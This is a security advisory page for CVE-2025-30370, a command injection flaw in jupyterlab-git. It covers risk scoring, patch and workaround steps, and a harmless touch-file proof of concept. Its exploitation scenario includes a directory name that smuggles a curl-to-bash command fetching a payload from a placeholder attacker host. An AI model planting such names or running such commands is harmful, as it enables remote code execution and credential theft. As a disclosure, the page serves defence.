CVE-2025-30370: jupyterlab-git: command injection via malicious repo name
GHSA-cj5w-8mjf-r5f8 HIGH PoC AVAILABLE CISA: TRACK*Data scientists and ML engineers using JupyterLab are exposed to arbitrary code execution if they open a Git repository with a specially crafted directory name and click 'Open Git Repository in Terminal' — a routine workflow action. Exploitation is trivial and a prior incomplete patch (PR #1196) signals the vendor has already struggled to close this vector. Upgrade jupyterlab-git to v0.51.1 immediately; treat all unpatched JupyterLab environments with git integration as capable of silent compromise via untrusted repository clones.
Risk Assessment
CVSS 7.4 High with EPSS 0.00055 — low probability of mass exploitation, but high impact in ML development environments where researchers routinely clone untrusted repositories from HuggingFace, GitHub, and public dataset sources. The attack is trivially crafted: create a directory with '$()' in the name and publish it. It requires only local access and a single user click, making social engineering delivery highly viable. The supply chain delivery angle (malicious public repo dressed as a model or dataset) elevates real-world risk well beyond what the EPSS score reflects for this population.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| jupyterlab-git | pip | < 0.51.1 | 0.51.1 |
Do you use jupyterlab-git? You're affected.
Severity & Risk
Attack Surface
Recommended Action
7 steps-
PATCH
Upgrade immediately — 'pip install --upgrade jupyterlab-git' (target v0.51.1+).
-
WORKAROUND A (server-level): Add 'c.ServerApp.terminals_enabled = False' to jupyter_server_config.py.
-
WORKAROUND B
'jupyter server extension disable jupyter_server_terminals'.
-
WORKAROUND C
'jupyter labextension disable @jupyterlab/terminal-extension'.
-
DETECT
Scan filesystems for suspicious directory names — 'find . -name "*\$(*)" -type d' and 'find . -name "*\`*" -type d'.
-
HARDEN
Enforce repository cloning policies that prohibit untrusted sources in ML development environments; consider sandboxed JupyterLab containers with restricted shell access.
-
AUDIT
Review JupyterHub server logs for unexpected process spawning from notebook server PIDs.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-30370?
Data scientists and ML engineers using JupyterLab are exposed to arbitrary code execution if they open a Git repository with a specially crafted directory name and click 'Open Git Repository in Terminal' — a routine workflow action. Exploitation is trivial and a prior incomplete patch (PR #1196) signals the vendor has already struggled to close this vector. Upgrade jupyterlab-git to v0.51.1 immediately; treat all unpatched JupyterLab environments with git integration as capable of silent compromise via untrusted repository clones.
Is CVE-2025-30370 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2025-30370, increasing the risk of exploitation.
How to fix CVE-2025-30370?
1. PATCH: Upgrade immediately — 'pip install --upgrade jupyterlab-git' (target v0.51.1+). 2. WORKAROUND A (server-level): Add 'c.ServerApp.terminals_enabled = False' to jupyter_server_config.py. 3. WORKAROUND B: 'jupyter server extension disable jupyter_server_terminals'. 4. WORKAROUND C: 'jupyter labextension disable @jupyterlab/terminal-extension'. 5. DETECT: Scan filesystems for suspicious directory names — 'find . -name "*\$(*)" -type d' and 'find . -name "*\`*" -type d'. 6. HARDEN: Enforce repository cloning policies that prohibit untrusted sources in ML development environments; consider sandboxed JupyterLab containers with restricted shell access. 7. AUDIT: Review JupyterHub server logs for unexpected process spawning from notebook server PIDs.
What systems are affected by CVE-2025-30370?
This vulnerability affects the following AI/ML architecture patterns: ML development environments, data science workstations, model training pipelines, multi-user JupyterHub deployments, managed ML platforms (SageMaker, Vertex AI, Azure ML with JupyterLab).
What is the CVSS score for CVE-2025-30370?
CVE-2025-30370 has a CVSS v3.1 base score of 7.4 (HIGH). The EPSS exploitation probability is 0.06%.
Technical Details
NVD Description
## Overview On many platforms, a third party can create a Git repository under a name that includes a shell command substitution [^1] string in the syntax `$(<command>)`. These directory names are allowed in macOS and a majority of Linux distributions [^2]. If a user starts `jupyter-lab` in a parent directory of this inappropriately-named Git repository, opens it, and clicks "Git > Open Git Repository in Terminal" from the menu bar, then the injected command `<command>` is run in the user's shell without the user's permission. This issue is occurring because when that menu entry is clicked, `jupyterlab-git` opens the terminal and runs `cd <git-repo-path>` through the shell to set the current directory [^3]. Doing so runs any command substitution strings present in the directory name, which leads to the command injection issue described here. A previous patch provided an incomplete fix [^4]. [^1]: https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html [^2]: https://www.gnu.org/software/libc/manual/html_node/File-Name-Portability.html [^3]: https://github.com/jupyterlab/jupyterlab-git/blob/7eb3b06f0092223bd5494688ec264527bbeb2195/src/commandsAndMenu.tsx#L175-L184 [^4]: https://github.com/jupyterlab/jupyterlab-git/pull/1196 ## Scope of Impact This issue allows for arbitrary code execution via command injection. A wide range of actions are permitted by this issue, including but not limited to: modifying files, exfiltrating data, halting services, or compromising the server's security rules. We have scanned the source code of `jupyterlab-git` for other command injection risks, and have not found any at the time of writing. This issue was reproduced on the latest release of `jupyterlab-git`, v0.51.0. The steps taken to reproduce this issue are described in the "Proof-of-concept" section below. ## Proof-of-concept 1. Create a new directory via `mkdir test/ && cd test/`. 2. Create a new Git repository under `test/` with a command substitution string in the directory name by running these commands: ``` mkdir '$(touch pwned.txt)' cd '$(touch pwned.txt)/' git init cd .. ``` 3. Start JupyterLab from `test/` by running jupyter lab. 4. With JupyterLab open in the browser, double click on `$(touch pwned.txt)` in the file browser. 5. From the top menu bar, click "Git > Open Git Repository in Terminal". 6. Verify that `pwned.txt` is created under `test/`. This demonstrates the command injection issue described here. ## Proof-of-concept mitigation The issue can be mitigated by the patch shown below. <details><summary>Patch (click to expand)</summary> ```diff diff --git a/src/commandsAndMenu.tsx b/src/commandsAndMenu.tsx index 3779a6c..71ddcea 100644 --- a/src/commandsAndMenu.tsx +++ b/src/commandsAndMenu.tsx @@ -164,31 +164,13 @@ export function addCommands( label: trans.__('Open Git Repository in Terminal'), caption: trans.__('Open a New Terminal to the Git Repository'), execute: async args => { - const main = (await commands.execute( - 'terminal:create-new', - args - )) as MainAreaWidget<ITerminal.ITerminal>; + const cwd = gitModel.pathRepository; + const main = (await commands.execute('terminal:create-new', { + ...args, + cwd + })) as MainAreaWidget<ITerminal.ITerminal>; - try { - if (gitModel.pathRepository !== null) { - const terminal = main.content; - terminal.session.send({ - type: 'stdin', - content: [ - `cd "${gitModel.pathRepository - .split('"') - .join('\\"') - .split('`') - .join('\\`')}"\n` - ] - }); - } - - return main; - } catch (e) { - console.error(e); - main.dispose(); - } + return main; ``` </details> This patch removes the `cd <git-repo-path>` shell command that causes the issue. To preserve the existing behavior, the `cwd` argument is set to `<git-repo-path>` when a terminal session is created via the `terminal:create-new` JupyterLab command. This preserves the existing application behavior while mitigating the command injection issue. We have verified that this patch works when applied to a local installation of `jupyterlab-git`. We have also verified that the `cwd` argument is available in all versions of JupyterLab 4, so this patch should be fully backwards-compatible. ## Workarounds We recommend that users upgrade to the patched versions listed on this GHSA. However, if a user is unable to upgrade, there are 3 different ways to mitigate this vulnerability without upgrading to a patch. 1. Disable terminals on `jupyter-server` level: ``` c.ServerApp.terminals_enabled = False ``` 2. Disable the terminals server extension: ``` jupyter server extension disable jupyter_server_terminals ``` 3. Disable the lab extension: ``` jupyter labextension disable @jupyterlab/terminal-extension ```
Exploitation Scenario
An adversary publishes a convincing ML model or dataset repository on GitHub or HuggingFace, embedding a subdirectory named '$(curl -s https://attacker[.]com/payload.sh|bash)'. A data scientist clones the repo, launches JupyterLab from the parent directory (standard workflow), navigates into the malicious subdirectory via the file browser, and clicks 'Git > Open Git Repository in Terminal' to inspect version history — a completely routine action. Before the directory changes, the shell evaluates the command substitution and executes the attacker's payload silently. The payload can exfiltrate ~/.netrc, .env files, SSH keys, Jupyter tokens, HuggingFace credentials, and any API keys in the process environment, then establish a reverse shell or persistence mechanism. The user sees only a normal terminal window.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply Chain CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution
AI Threat Alert